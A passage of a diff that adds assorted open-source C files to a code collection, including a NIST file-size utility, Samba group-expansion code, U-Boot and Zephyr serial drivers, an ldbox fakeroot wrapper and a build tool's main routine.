+ Num_gemv_zprimme("C", length, i, tpone, previousVectors, + length, &previousVectors[length*i], 1, tzero, rwork, 1); + + Num_gemv_zprimme("N", length, i, tmone, previousVectors, + length, rwork, 1, tpone, &previousVectors[length*i], 1); + } + + ztmp = Num_dot_zprimme(length, &previousVectors[length*i], 1, + &previousVectors[length*i], 1); + norm = ztmp.r; + norm = sqrt(norm); + + if (norm < 5.0L*machEps) { + numPrevious--; + Num_zcopy_zprimme(length*(numPrevious-i), + &previousVectors[length*(i+1)], 1, &previousVectors[length*i], 1); + zeroed = 1; + break; + } + + {ztmp.r = 1.0L/norm; ztmp.i = 0.0L;} + Num_scal_zprimme(length, ztmp, &previousVectors[length*i], 1); + + } // for 3 reorthos + + if (!zeroed) { + i++; + } + + } // main while loop + + return numPrevious; +} diff --git a/pool/shard011/C/0141662_filesize.c b/pool/shard011/C/0141662_filesize.c new file mode 100644 index 0000000000000000000000000000000000000000..cd42b47057f2d6159e0dc421eb652ca22c794ff8 --- /dev/null +++ b/pool/shard011/C/0141662_filesize.c @@ -0,0 +1,96 @@ +/******************************************************************************* + +License: +This software and/or related materials was developed at the National Institute +of Standards and Technology (NIST) by employees of the Federal Government +in the course of their official duties. Pursuant to title 17 Section 105 +of the United States Code, this software is not subject to copyright +protection and is in the public domain. + +This software and/or related materials have been determined to be not subject +to the EAR (see Part 734.3 of the EAR for exact details) because it is +a publicly available technology and software, and is freely distributed +to any interested party with no licensing requirements. Therefore, it is +permissible to distribute this software as a free download from the internet. + +Disclaimer: +This software and/or related materials was developed to promote biometric +standards and biometric technology testing for the Federal Government +in accordance with the USA PATRIOT Act and the Enhanced Border Security +and Visa Entry Reform Act. Specific hardware and software products identified +in this software were used in order to perform the software development. +In no case does such identification imply recommendation or endorsement +by the National Institute of Standards and Technology, nor does it imply that +the products and equipment identified are necessarily the best available +for the purpose. + +This software and/or related materials are provided "AS-IS" without warranty +of any kind including NO WARRANTY OF PERFORMANCE, MERCHANTABILITY, +NO WARRANTY OF NON-INFRINGEMENT OF ANY 3RD PARTY INTELLECTUAL PROPERTY +or FITNESS FOR A PARTICULAR PURPOSE or for any purpose whatsoever, for the +licensed product, however used. In no event shall NIST be liable for any +damages and/or costs, including but not limited to incidental or consequential +damages of any kind, including economic damage or injury to property and lost +profits, regardless of whether NIST shall be advised, have reason to know, +or in fact shall know of the possibility. + +By using this software, you agree to bear all risk relating to quality, +use and performance of the software and/or related materials. You agree +to hold the Government harmless from any claim arising from your use +of the software. + +*******************************************************************************/ + + +/*********************************************************************** + LIBRARY: IOUTIL - INPUT/OUTPUT Utilities + + FILE: FILESIZE.C + AUTHOR: Michael Garris + DATE: 12/05/2001 + + Contains routines responsible for determining the size of + a file in bytes given its path name. + + ROUTINES: +#cat: filesize - opens the specified pathname and determines the size of +#cat: of the file in bytes. + +***********************************************************************/ + +#include +#include + +/**********************************************************************/ +int filesize(char *ifile) +{ + FILE *fp; + int ret; + + /* Open file. */ + if((fp = fopen(ifile, "rb")) == (FILE *)NULL){ + fprintf(stderr, "ERROR : filesize : file %s could not be opened\n", + ifile); + return(-2); + } + + /* Move file pointer to end of file. */ + if(fseek(fp, 0, SEEK_END)){ + fprintf(stderr, "ERROR : filesize : seeking to EOF of file %s failed\n", + ifile); + return(-3); + } + + /* Get byte offest to end of file. */ + if((ret = ftell(fp)) < 0){ + fprintf(stderr, "ERROR : filesize : ftell at EOF of file %s failed\n", + ifile); + return(-4); + } + + /* Close file. */ + fclose(fp); + + /* Return size of file in bytes. */ + return(ret); +} diff --git a/pool/shard011/C/0141663_util_groups.c b/pool/shard011/C/0141663_util_groups.c new file mode 100644 index 0000000000000000000000000000000000000000..b5aecbafe916fe81f5659e7c64dba04a77715cb3 --- /dev/null +++ b/pool/shard011/C/0141663_util_groups.c @@ -0,0 +1,171 @@ +/* + Unix SMB/CIFS implementation. + Password and authentication handling + Copyright (C) Andrew Bartlett 2001-2010 + Copyright (C) Stefan Metzmacher 2005 + Copyright (C) Matthias Dieter Wallnöfer 2009 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "includes.h" +#include "auth/auth.h" +#include +#include "dsdb/samdb/samdb.h" +#include "libcli/security/security.h" +#include "dsdb/common/util.h" + +/* This function tests if a SID structure "sids" contains the SID "sid" */ +static bool sids_contains_sid(const struct dom_sid *sids, + const unsigned int num_sids, + const struct dom_sid *sid) +{ + unsigned int i; + + for (i = 0; i < num_sids; i++) { + if (dom_sid_equal(&sids[i], sid)) + return true; + } + return false; +} + +/* + * This function generates the transitive closure of a given SAM object "dn_val" + * (it basically expands nested memberships). + * If the object isn't located in the "res_sids" structure yet and the + * "only_childs" flag is false, we add it to "res_sids". + * Then we've always to consider the "memberOf" attributes. We invoke the + * function recursively on each of it with the "only_childs" flag set to + * "false". + * The "only_childs" flag is particularly useful if you have a user object and + * want to include all it's groups (referenced with "memberOf") but not itself + * or considering if that object matches the filter. + * + * At the beginning "res_sids" should reference to a NULL pointer. + */ +NTSTATUS dsdb_expand_nested_groups(struct ldb_context *sam_ctx, + struct ldb_val *dn_val, const bool only_childs, const char *filter, + TALLOC_CTX *res_sids_ctx, struct dom_sid **res_sids, + unsigned int *num_res_sids) +{ + const char * const attrs[] = { "memberOf", NULL }; + unsigned int i; + int ret; + bool already_there; + struct ldb_dn *dn; + struct dom_sid sid; + TALLOC_CTX *tmp_ctx; + struct ldb_result *res; + NTSTATUS status; + const struct ldb_message_element *el; + + if (*res_sids == NULL) { + *num_res_sids = 0; + } + + if (!sam_ctx) { + DEBUG(0, ("No SAM available, cannot determine local groups\n")); + return NT_STATUS_INVALID_SYSTEM_SERVICE; + } + + tmp_ctx = talloc_new(res_sids_ctx); + + dn = ldb_dn_from_ldb_val(tmp_ctx, sam_ctx, dn_val); + if (dn == NULL) { + talloc_free(tmp_ctx); + DEBUG(0, (__location__ ": we failed parsing DN %.*s, so we cannot calculate the group token\n", + (int)dn_val->length, dn_val->data)); + return NT_STATUS_INTERNAL_DB_CORRUPTION; + } + + status = dsdb_get_extended_dn_sid(dn, &sid, "SID"); + if (NT_STATUS_EQUAL(status, NT_STATUS_OBJECT_NAME_NOT_FOUND)) { + /* If we fail finding a SID then this is no error since it could + * be a non SAM object - e.g. a group with object class + * "groupOfNames" */ + talloc_free(tmp_ctx); + return NT_STATUS_OK; + } else if (!NT_STATUS_IS_OK(status)) { + DEBUG(0, (__location__ ": when parsing DN '%s' we failed to parse it's SID component, so we cannot calculate the group token: %s\n", + ldb_dn_get_extended_linearized(tmp_ctx, dn, 1), + nt_errstr(status))); + talloc_free(tmp_ctx); + return status; + } + + if (!ldb_dn_minimise(dn)) { + talloc_free(tmp_ctx); + return NT_STATUS_INTERNAL_DB_CORRUPTION; + } + + if (only_childs) { + ret = dsdb_search_dn(sam_ctx, tmp_ctx, &res, dn, attrs, + DSDB_SEARCH_SHOW_EXTENDED_DN); + } else { + /* This is an O(n^2) linear search */ + already_there = sids_contains_sid(*res_sids, + *num_res_sids, &sid); + if (already_there) { + talloc_free(tmp_ctx); + return NT_STATUS_OK; + } + + ret = dsdb_search(sam_ctx, tmp_ctx, &res, dn, LDB_SCOPE_BASE, + attrs, DSDB_SEARCH_SHOW_EXTENDED_DN, "%s", + filter); + } + + if (ret == LDB_ERR_NO_SUCH_OBJECT) { + talloc_free(tmp_ctx); + return NT_STATUS_OK; + } + + if (ret != LDB_SUCCESS) { + DEBUG(1, (__location__ ": dsdb_search for %s failed: %s\n", + ldb_dn_get_extended_linearized(tmp_ctx, dn, 1), + ldb_errstring(sam_ctx))); + talloc_free(tmp_ctx); + return NT_STATUS_INTERNAL_DB_CORRUPTION; + } + + /* We may get back 0 results, if the SID didn't match the filter - such as it wasn't a domain group, for example */ + if (res->count != 1) { + talloc_free(tmp_ctx); + return NT_STATUS_OK; + } + + /* We only apply this test once we know the SID matches the filter */ + if (!only_childs) { + *res_sids = talloc_realloc(res_sids_ctx, *res_sids, + struct dom_sid, *num_res_sids + 1); + NT_STATUS_HAVE_NO_MEMORY_AND_FREE(*res_sids, tmp_ctx); + (*res_sids)[*num_res_sids] = sid; + ++(*num_res_sids); + } + + el = ldb_msg_find_element(res->msgs[0], "memberOf"); + + for (i = 0; el && i < el->num_values; i++) { + status = dsdb_expand_nested_groups(sam_ctx, &el->values[i], + false, filter, res_sids_ctx, res_sids, num_res_sids); + if (!NT_STATUS_IS_OK(status)) { + talloc_free(tmp_ctx); + return status; + } + } + + talloc_free(tmp_ctx); + + return NT_STATUS_OK; +} diff --git a/pool/shard011/C/0141664_soft_spi.c b/pool/shard011/C/0141664_soft_spi.c new file mode 100644 index 0000000000000000000000000000000000000000..6ae45f5377ab89ba647387029fdfa771dc1ee8ed --- /dev/null +++ b/pool/shard011/C/0141664_soft_spi.c @@ -0,0 +1,236 @@ +/* + * Copyright (c) 2014 Google, Inc + * + * (C) Copyright 2002 + * Gerald Van Baren, Custom IDEAS, vanbaren@cideas.com. + * + * Influenced by code from: + * Wolfgang Denk, DENX Software Engineering, wd@denx.de. + * + * SPDX-License-Identifier: GPL-2.0+ + */ + +#include +#include +#include +#include +#include +#include +#include + +DECLARE_GLOBAL_DATA_PTR; + +struct soft_spi_platdata { + struct gpio_desc cs; + struct gpio_desc sclk; + struct gpio_desc mosi; + struct gpio_desc miso; + int spi_delay_us; +}; + +struct soft_spi_priv { + unsigned int mode; +}; + +static int soft_spi_scl(struct udevice *dev, int bit) +{ + struct soft_spi_platdata *plat = dev->platdata; + + dm_gpio_set_value(&plat->sclk, bit); + + return 0; +} + +static int soft_spi_sda(struct udevice *dev, int bit) +{ + struct soft_spi_platdata *plat = dev->platdata; + + dm_gpio_set_value(&plat->mosi, bit); + + return 0; +} + +static int soft_spi_cs_activate(struct udevice *dev) +{ + struct soft_spi_platdata *plat = dev->platdata; + + dm_gpio_set_value(&plat->cs, 0); + dm_gpio_set_value(&plat->sclk, 0); + dm_gpio_set_value(&plat->cs, 1); + + return 0; +} + +static int soft_spi_cs_deactivate(struct udevice *dev) +{ + struct soft_spi_platdata *plat = dev->platdata; + + dm_gpio_set_value(&plat->cs, 0); + + return 0; +} + +static int soft_spi_claim_bus(struct udevice *dev) +{ + /* + * Make sure the SPI clock is in idle state as defined for + * this slave. + */ + return soft_spi_scl(dev, 0); +} + +static int soft_spi_release_bus(struct udevice *dev) +{ + /* Nothing to do */ + return 0; +} + +/*----------------------------------------------------------------------- + * SPI transfer + * + * This writes "bitlen" bits out the SPI MOSI port and simultaneously clocks + * "bitlen" bits in the SPI MISO port. That's just the way SPI works. + * + * The source of the outgoing bits is the "dout" parameter and the + * destination of the input bits is the "din" parameter. Note that "dout" + * and "din" can point to the same memory location, in which case the + * input data overwrites the output data (since both are buffered by + * temporary variables, this is OK). + */ +static int soft_spi_xfer(struct udevice *dev, unsigned int bitlen, + const void *dout, void *din, unsigned long flags) +{ + struct soft_spi_priv *priv = dev_get_priv(dev); + struct soft_spi_platdata *plat = dev->platdata; + uchar tmpdin = 0; + uchar tmpdout = 0; + const u8 *txd = dout; + u8 *rxd = din; + int cpha = priv->mode & SPI_CPHA; + unsigned int j; + + debug("spi_xfer: slave %s:%s dout %08X din %08X bitlen %u\n", + dev->parent->name, dev->name, *(uint *)txd, *(uint *)rxd, + bitlen); + + if (flags & SPI_XFER_BEGIN) + soft_spi_cs_activate(dev); + + for (j = 0; j < bitlen; j++) { + /* + * Check if it is time to work on a new byte. + */ + if ((j % 8) == 0) { + if (txd) + tmpdout = *txd++; + else + tmpdout = 0; + if (j != 0) { + if (rxd) + *rxd++ = tmpdin; + } + tmpdin = 0; + } + + if (!cpha) + soft_spi_scl(dev, 0); + soft_spi_sda(dev, tmpdout & 0x80); + udelay(plat->spi_delay_us); + if (cpha) + soft_spi_scl(dev, 0); + else + soft_spi_scl(dev, 1); + tmpdin <<= 1; + tmpdin |= dm_gpio_get_value(&plat->miso); + tmpdout <<= 1; + udelay(plat->spi_delay_us); + if (cpha) + soft_spi_scl(dev, 1); + } + /* + * If the number of bits isn't a multiple of 8, shift the last + * bits over to left-justify them. Then store the last byte + * read in. + */ + if (rxd) { + if ((bitlen % 8) != 0) + tmpdin <<= 8 - (bitlen % 8); + *rxd++ = tmpdin; + } + + if (flags & SPI_XFER_END) + soft_spi_cs_deactivate(dev); + + return 0; +} + +static int soft_spi_set_speed(struct udevice *dev, unsigned int speed) +{ + /* Accept any speed */ + return 0; +} + +static int soft_spi_set_mode(struct udevice *dev, unsigned int mode) +{ + struct soft_spi_priv *priv = dev_get_priv(dev); + + priv->mode = mode; + + return 0; +} + +static const struct dm_spi_ops soft_spi_ops = { + .claim_bus = soft_spi_claim_bus, + .release_bus = soft_spi_release_bus, + .xfer = soft_spi_xfer, + .set_speed = soft_spi_set_speed, + .set_mode = soft_spi_set_mode, +}; + +static int soft_spi_ofdata_to_platdata(struct udevice *dev) +{ + struct soft_spi_platdata *plat = dev->platdata; + const void *blob = gd->fdt_blob; + int node = dev->of_offset; + + plat->spi_delay_us = fdtdec_get_int(blob, node, "spi-delay-us", 0); + + return 0; +} + +static int soft_spi_probe(struct udevice *dev) +{ + struct spi_slave *slave = dev_get_parentdata(dev); + struct soft_spi_platdata *plat = dev->platdata; + int cs_flags, clk_flags; + + cs_flags = (slave->mode & SPI_CS_HIGH) ? 0 : GPIOD_ACTIVE_LOW; + clk_flags = (slave->mode & SPI_CPOL) ? GPIOD_ACTIVE_LOW : 0; + if (gpio_request_by_name(dev, "cs-gpio", 0, &plat->cs, + GPIOD_IS_OUT | cs_flags) || + gpio_request_by_name(dev, "sclk-gpio", 0, &plat->sclk, + GPIOD_IS_OUT | clk_flags) || + gpio_request_by_name(dev, "mosi-gpio", 0, &plat->mosi, + GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE) || + gpio_request_by_name(dev, "miso-gpio", 0, &plat->miso, + GPIOD_IS_IN)) + return -EINVAL; + + return 0; +} + +static const struct udevice_id soft_spi_ids[] = { + { .compatible = "u-boot,soft-spi" }, + { } +}; + +U_BOOT_DRIVER(soft_spi) = { + .name = "soft_spi", + .id = UCLASS_SPI, + .of_match = soft_spi_ids, + .ops = &soft_spi_ops, + .ofdata_to_platdata = soft_spi_ofdata_to_platdata, + .platdata_auto_alloc_size = sizeof(struct soft_spi_platdata), + .priv_auto_alloc_size = sizeof(struct soft_spi_priv), + .probe = soft_spi_probe, +}; diff --git a/pool/shard011/C/0141665_exception_handler.c b/pool/shard011/C/0141665_exception_handler.c new file mode 100644 index 0000000000000000000000000000000000000000..900c32d4ccfc1bb43c2c33cbad6b2268746b9f9d --- /dev/null +++ b/pool/shard011/C/0141665_exception_handler.c @@ -0,0 +1,68 @@ +#include "exception_handler.h" +#include "raise.h" + +static void ExceptionHandler_del(t_object *self) +{ + ExceptionHandler *this = (ExceptionHandler *)self; + delete(this->tab); +} + +CMETA_STRUCT_BUILD(ExceptionHandler_DEFINITION) +{ + ExceptionHandler *this = newObject(ExceptionHandler, &ExceptionHandler_del); + int i; + + (void) args; + if (this) { + this->tab = new(t_list); + if (this->tab) { + for (i = 0; i < MAX_EX; ++i) + LPUT(this->tab, new(EventException), 0); + } else + delete(this); + } + return (this); +} + +jmp_buf *ExceptionHandler_try(ExceptionHandler *this, size_t id) +{ + if (id > this->tab->size) + raise("try : Id out of range"); + EventException *event = LGET(EventException *, this->tab, id); + if (!event) + raise("try : Cannot get requested exception event id"); + /* setitem(this->tab, id, new(EventException)); */ + /* event = getitem(this->tab, id); */ + return (&event->buff); +} + +jmp_buf *ExceptionHandler_throw(ExceptionHandler *this, size_t id, t_object *exception) +{ + if (id > this->tab->size) + raise("throw : Id out of range"); + EventException *event = LGET(EventException *, this->tab, id); + if (!event) + raise("throw : Cannot get requested exception event id"); + event->ex = exception; + return (&event->buff); +} + +t_object *ExceptionHandler_getEx(ExceptionHandler *this, size_t id) +{ + if (id > this->tab->size) + raise("getEx : Id out of range"); + EventException *event = LGET(EventException *, this->tab, id); + if (!event) + raise("getEx : Cannot get requested event id"); + return (event->ex); +} + +ExceptionHandler *getHandler() +{ + static ExceptionHandler *handler = NULL; + + if (handler == NULL) + if ((handler = new(ExceptionHandler)) == NULL) + raise("getHandler : Cannot allocate memory"); + return (handler); +} diff --git a/pool/shard011/C/0141666_fakeroot.c b/pool/shard011/C/0141666_fakeroot.c new file mode 100644 index 0000000000000000000000000000000000000000..09e05fc62ec7e2fb9a9a96345dc6775d24269ac6 --- /dev/null +++ b/pool/shard011/C/0141666_fakeroot.c @@ -0,0 +1,71 @@ +/* Copyright (c) 2011 Nokia Corporation. + * Author: Lauri T. Aarnio + * + * Licensed under LGPL version 2.1, see top level LICENSE file for details. +*/ + +/* Fakeroot wrapper: Emulate the "fakeroot" command within + * ldbox session, by using ldbox's features. +*/ + +#include +#include +#include +#include + +static struct option long_fakeroot_opts[] = { + {"lib", 1, NULL, 0}, + {"faked", 1, NULL, 0}, + {"unknown-is-real", 1, NULL, 'u'}, +}; + +int main(int argc, char *argv[]) +{ + int opt = 0; + int opt_ind = 0; + const char *progname = argv[0]; + + /* default: set owner and group of unknown files to 0 and 0 */ + const char *vperm_request = "u0:0:0:0,g0:0:0:0,f0.0"; + + /* alternative: use real owner and group info */ + const char *vperm_request_u_is_r = "u0:0:0:0,g0:0:0:0"; + + while (opt != -1) { + opt = getopt_long(argc, argv, "+l:s:i:ub:hv", + long_fakeroot_opts, &opt_ind); + switch (opt) { + case -1: /* end of options */ + break; + case '0': /* long option */ + fprintf(stderr, "ldbox %s: Long option '%s', ignored.\n", + progname, long_fakeroot_opts[opt_ind].name); + break; + default: /* short option */ + fprintf(stderr, "ldbox %s: option '%c', ignored.\n", + progname, opt); + break; + case 'u': + /* unknown-is-real flag: */ + vperm_request = vperm_request_u_is_r; + break; + case 'h': + case 'v': + fprintf(stderr, "ldbox %s: A wrapper which emulates 'fakeroot'\n", + progname); + return(0); + } + } + setenv("PS1", "[LB-root] \\u@\\h \\W # ", 1); + setenv("LDBOX_VPERM_REQUEST", vperm_request, 1); + if (argv[optind]) { + execvp(argv[optind], argv+optind); + } else { + const char *shell = getenv("SHELL"); + + if (!shell) shell = "/bin/sh"; + execl(shell, shell, "--noprofile", "--norc", NULL); + } + return(1); +} + diff --git a/pool/shard011/C/0141667_t_autowah.c b/pool/shard011/C/0141667_t_autowah.c new file mode 100644 index 0000000000000000000000000000000000000000..892799c600d1f71358679e128faf10a0a10ec804 --- /dev/null +++ b/pool/shard011/C/0141667_t_autowah.c @@ -0,0 +1,41 @@ +#include "soundpipe.h" +#include "md5.h" +#include "tap.h" +#include "test.h" + +typedef struct { + sp_autowah *autowah; + sp_spa *disk; +} UserData; + +int t_autowah(sp_test *tst, sp_data *sp, const char *hash) +{ + uint32_t n; + int fail = 0; + SPFLOAT disk = 0, autowah = 0; + + UserData ud; + + sp_autowah_create(&ud.autowah); + sp_spa_create(&ud.disk); + + sp_spa_init(sp, ud.disk, SAMPDIR "oneart.spa"); + sp_autowah_init(sp, ud.autowah); + *ud.autowah->wah = 1.0; + + for(n = 0; n < tst->size; n++) { + disk = 0; + autowah = 0; + sp_spa_compute(sp, ud.disk, NULL, &disk); + sp_autowah_compute(sp, ud.autowah, &disk, &autowah); + sp_test_add_sample(tst, autowah); + } + + fail = sp_test_verify(tst, hash); + + sp_autowah_destroy(&ud.autowah); + sp_spa_destroy(&ud.disk); + + if(fail) return SP_NOT_OK; + else return SP_OK; +} diff --git a/pool/shard011/C/0141668_usart_sam.c b/pool/shard011/C/0141668_usart_sam.c new file mode 100644 index 0000000000000000000000000000000000000000..eae0deff6c0410ddf29d0b525ee1f9be2ff995f0 --- /dev/null +++ b/pool/shard011/C/0141668_usart_sam.c @@ -0,0 +1,222 @@ +/* + * Copyright (c) 2016 Piotr Mienkowski + * SPDX-License-Identifier: Apache-2.0 + */ + +/** @file + * @brief USART driver for Atmel SAM MCU family. + * + * Note: + * - Only basic USART features sufficient to support printf functionality + * are currently implemented. + * - The driver works only in polling mode, interrupt mode is not implemented. + */ + +#include +#include +#include +#include +#include +#include + +/* + * Verify Kconfig configuration + */ + +#if CONFIG_USART_SAM_PORT_0 == 1 + +#if CONFIG_USART_SAM_PORT_0_BAUD_RATE == 0 +#error "CONFIG_USART_SAM_PORT_0_BAUD_RATE has to be bigger than 0" +#endif + +#endif + +#if CONFIG_USART_SAM_PORT_1 == 1 + +#if CONFIG_USART_SAM_PORT_1_BAUD_RATE == 0 +#error "CONFIG_USART_SAM_PORT_1_BAUD_RATE has to be bigger than 0" +#endif + +#endif + +#if CONFIG_USART_SAM_PORT_2 == 1 + +#if CONFIG_USART_SAM_PORT_2_BAUD_RATE == 0 +#error "CONFIG_USART_SAM_PORT_2_BAUD_RATE has to be bigger than 0" +#endif + +#endif + +/* Device constant configuration parameters */ +struct usart_sam_dev_cfg { + Usart *regs; + uint32_t periph_id; + struct soc_gpio_pin pin_rx; + struct soc_gpio_pin pin_tx; +}; + +/* Device run time data */ +struct usart_sam_dev_data { + uint32_t baud_rate; +}; + +#define DEV_CFG(dev) \ + ((const struct usart_sam_dev_cfg *const)(dev)->config->config_info) +#define DEV_DATA(dev) \ + ((struct usart_sam_dev_data *const)(dev)->driver_data) + + +static int baudrate_set(Usart *const usart, uint32_t baudrate, + uint32_t mck_freq_hz); + + +static int usart_sam_init(struct device *dev) +{ + int retval; + const struct usart_sam_dev_cfg *const cfg = DEV_CFG(dev); + struct usart_sam_dev_data *const dev_data = DEV_DATA(dev); + Usart *const usart = cfg->regs; + + /* Enable USART clock in PMC */ + soc_pmc_peripheral_enable(cfg->periph_id); + + /* Connect pins to the peripheral */ + soc_gpio_configure(&cfg->pin_rx); + soc_gpio_configure(&cfg->pin_tx); + + /* Reset and disable USART */ + usart->US_CR = US_CR_RSTRX | US_CR_RSTTX + | US_CR_RXDIS | US_CR_TXDIS | US_CR_RSTSTA; + + /* Disable Interrupts */ + usart->US_IDR = 0xFFFFFFFF; + + /* 8 bits of data, no parity, 1 stop bit in normal mode */ + usart->US_MR = US_MR_NBSTOP_1_BIT + | US_MR_PAR_NO + | US_MR_CHRL_8_BIT + | US_MR_USCLKS_MCK + | US_MR_CHMODE_NORMAL; + + /* Set baud rate */ + retval = baudrate_set(usart, dev_data->baud_rate, + SOC_ATMEL_SAM_MCK_FREQ_HZ); + if (retval != 0) { + return retval; + }; + + /* Enable receiver and transmitter */ + usart->US_CR = US_CR_RXEN | US_CR_TXEN; + + return 0; +} + +static int usart_sam_poll_in(struct device *dev, unsigned char *c) +{ + Usart *const usart = DEV_CFG(dev)->regs; + + if (!(usart->US_CSR & US_CSR_RXRDY)) { + return -EBUSY; + } + + /* got a character */ + *c = (unsigned char)usart->US_RHR; + + return 0; +} + +static unsigned char usart_sam_poll_out(struct device *dev, unsigned char c) +{ + Usart *const usart = DEV_CFG(dev)->regs; + + /* Wait for transmitter to be ready */ + while (!(usart->US_CSR & US_CSR_TXRDY)) + ; + + /* send a character */ + usart->US_THR = (uint32_t)c; + return c; +} + +static int baudrate_set(Usart *const usart, uint32_t baudrate, + uint32_t mck_freq_hz) +{ + uint32_t divisor; + + __ASSERT(baudrate, + "baud rate has to be bigger than 0"); + __ASSERT(mck_freq_hz/16 >= baudrate, + "MCK frequency is too small to set required baud rate"); + + divisor = mck_freq_hz / 16 / baudrate; + + if (divisor > 0xFFFF) { + return -EINVAL; + }; + + usart->US_BRGR = US_BRGR_CD(divisor); + + return 0; +} + +static const struct uart_driver_api usart_sam_driver_api = { + .poll_in = usart_sam_poll_in, + .poll_out = usart_sam_poll_out, +}; + +/* USART0 */ + +#ifdef CONFIG_USART_SAM_PORT_0 +static const struct usart_sam_dev_cfg usart0_sam_config = { + .regs = USART0, + .periph_id = ID_USART0, + .pin_rx = PIN_USART0_RXD, + .pin_tx = PIN_USART0_TXD, +}; + +static struct usart_sam_dev_data usart0_sam_data = { + .baud_rate = CONFIG_USART_SAM_PORT_0_BAUD_RATE, +}; + +DEVICE_AND_API_INIT(usart0_sam, CONFIG_USART_SAM_PORT_0_NAME, &usart_sam_init, + &usart0_sam_data, &usart0_sam_config, PRE_KERNEL_1, + CONFIG_KERNEL_INIT_PRIORITY_DEVICE, &usart_sam_driver_api); +#endif + +/* USART1 */ + +#ifdef CONFIG_USART_SAM_PORT_1 +static const struct usart_sam_dev_cfg usart1_sam_config = { + .regs = USART1, + .periph_id = ID_USART1, + .pin_rx = PIN_USART1_RXD, + .pin_tx = PIN_USART1_TXD, +}; + +static struct usart_sam_dev_data usart1_sam_data = { + .baud_rate = CONFIG_USART_SAM_PORT_1_BAUD_RATE, +}; + +DEVICE_AND_API_INIT(usart1_sam, CONFIG_USART_SAM_PORT_1_NAME, &usart_sam_init, + &usart1_sam_data, &usart1_sam_config, PRE_KERNEL_1, + CONFIG_KERNEL_INIT_PRIORITY_DEVICE, &usart_sam_driver_api); +#endif + +/* USART2 */ + +#ifdef CONFIG_USART_SAM_PORT_2 +static const struct usart_sam_dev_cfg usart2_sam_config = { + .regs = USART2, + .periph_id = ID_USART2, + .pin_rx = PIN_USART2_RXD, + .pin_tx = PIN_USART2_TXD, +}; + +static struct usart_sam_dev_data usart2_sam_data = { + .baud_rate = CONFIG_USART_SAM_PORT_2_BAUD_RATE, +}; + +DEVICE_AND_API_INIT(usart2_sam, CONFIG_USART_SAM_PORT_2_NAME, &usart_sam_init, + &usart2_sam_data, &usart2_sam_config, PRE_KERNEL_1, + CONFIG_KERNEL_INIT_PRIORITY_DEVICE, &usart_sam_driver_api); +#endif diff --git a/pool/shard011/C/0141669_main.c b/pool/shard011/C/0141669_main.c new file mode 100644 index 0000000000000000000000000000000000000000..9abe1cd86ed2eed157024094ab7a35ae88039b67 --- /dev/null +++ b/pool/shard011/C/0141669_main.c @@ -0,0 +1,192 @@ +/* Copyright (c) 2012-2015 Todd Freed + + This file is part of fab. + + fab is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + fab is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with fab. If not, see . */ + +#include +#include + +#include "xapi.h" +#include "fab/load.h" +#include "logger/load.h" +#include "narrator/load.h" +#include "value/load.h" +#include "valyria/load.h" +#include "xlinux/load.h" +#include "yyutil/load.h" + +#include "fab/client.h" +#include "fab/sigutil.h" +#include "xapi/calltree.h" +#include "xapi/trace.h" +#include "xlinux/xsignal.h" +#include "xlinux/xunistd.h" + +#include "args.h" +#include "MAIN.errtab.h" +#include "client_thread.h" +#include "logging.h" +#include "params.h" +#include "ui_thread.h" + +__thread int32_t tid; + +static xapi xmain_exit; +static xapi xmain() +{ + enter; + + sigset_t sigs; + siginfo_t info; + int r; + int fd; + +#if DEBUG || DEVEL + logs(L_IPC, "started"); +#endif + + fatal(args_parse); + +#if DEVEL + char space[512]; + snprintf(space, sizeof(space), "%s/../fabd/fabd.devel.xapi", g_params.exedir); + g_fab_client_fabd_path = space; +#endif + + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // save stdin/stdout - ui thread fetches them from here + fatal(xdup2, 0, TERMINAL_IN); + fatal(xdup2, 1, TERMINAL_OUT); + + // discard stdout/stderr +#if DEVEL + fd = open("/tmp/fabc", O_CREAT | O_WRONLY); +#else + fd = open("/dev/null", O_WRONLY); +#endif + fatal(xdup2, fd, 1); + fatal(xdup2, fd, 2); + + fatal(sigutil_install_handlers); + sigfillset(&sigs); + fatal(xsigprocmask, SIG_SETMASK, &sigs, 0); + + fatal(client_thread_launch); + fatal(ui_thread_launch); + + while(g_params.thread_count) + { + fatal(sigutil_wait, &sigs, &info); + g_params.shutdown = true; + fatal(uxtgkill, &r, g_params.pid, g_params.thread_client, SIGUSR1); + fatal(uxtgkill, &r, g_params.pid, g_params.thread_ui, SIGUSR1); + } + +finally: + if(XAPI_UNWINDING) + { + if(XAPI_ERRVAL == MAIN_BADARGS || XAPI_ERRVAL == MAIN_NOCOMMAND) + { + args_usage(); + } + } +coda; +} + +static xapi xmain_jump() +{ + enter; + + fatal(xmain); + +finally: + if(XAPI_UNWINDING) + { +#if DEBUG || DEVEL || XAPI + xapi_infos("name", "fab"); + xapi_infof("pgid", "%ld", (long)getpgid(0)); + xapi_infof("pid", "%ld", (long)getpid()); + xapi_infof("tid", "%ld", (long)gettid()); + + fatal(logger_trace_full, L_ERROR, XAPI_TRACE_COLORIZE); +#else + fatal(logger_trace_pithy, L_ERROR, XAPI_TRACE_COLORIZE); +#endif + + xmain_exit = XAPI_ERRVAL; + xapi_calltree_unwind(); + } +coda; +} + +static xapi xmain_load(char ** envp) +{ + enter; + + // load libraries + fatal(fab_load); + fatal(logger_load); + fatal(narrator_load); + fatal(value_load); + fatal(valyria_load); + fatal(xlinux_load); + fatal(yyutil_load); + + // load modules + fatal(logging_setup, envp); + fatal(params_setup); + + fatal(xmain_jump); + +finally: + // modules + params_teardown(); + + // libraries + fatal(fab_unload); + fatal(logger_unload); + fatal(narrator_unload); + fatal(value_unload); + fatal(valyria_unload); + fatal(xlinux_unload); + fatal(yyutil_unload); +coda; +} + +int main(int argc, char ** argv, char ** envp) +{ + enter; + + tid = g_params.thread_main = gettid(); + + xapi R = 0; + fatal(xmain_load, envp); + +finally: + 